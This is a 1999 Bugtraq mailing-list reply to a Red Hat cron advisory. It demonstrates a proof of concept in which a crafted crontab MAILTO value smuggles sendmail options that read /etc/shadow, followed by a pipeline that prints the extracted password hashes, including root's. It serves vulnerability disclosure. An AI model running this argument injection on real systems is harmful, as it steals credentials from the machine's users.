Subject:      Re: [RHSA-1999:030-01] Buffer overflow in cron daemon
To: BUGTRAQ@SECURITYFOCUS.COM 


On Wed, 25 Aug 1999, Bill Nottingham wrote:


> To the best of our knowledge, no known exploits exist at this time.
>
> Also, it was possible to use specially formatted 'MAILTO' environment
> variables to send commands to sendmail.


Oh, something from scratch:


[lcamtuf@onehost lcamtuf]$ crontab -l
MAILTO='-bi -O AliasFile=/etc/shadow'


* * * * * nonexistent
[lcamtuf@onehost lcamtuf]$ sleep 60
[lcamtuf@onehost lcamtuf]$ strings -n 2 /etc/shadow.db|awk -F: '$2==""{print " - " $1 }$2!=""{printf $1}'|grep -v '*'
I15hybS.C.S1. - lcamtuf
hA/p45.MNqAtO - root
YoYwL/aBGnfAsRQ - testy


_______________________________________________________________________
Michal Zalewski [lcamtuf@ids.pl] [link / marchew] [dione.ids.pl SYSADM]
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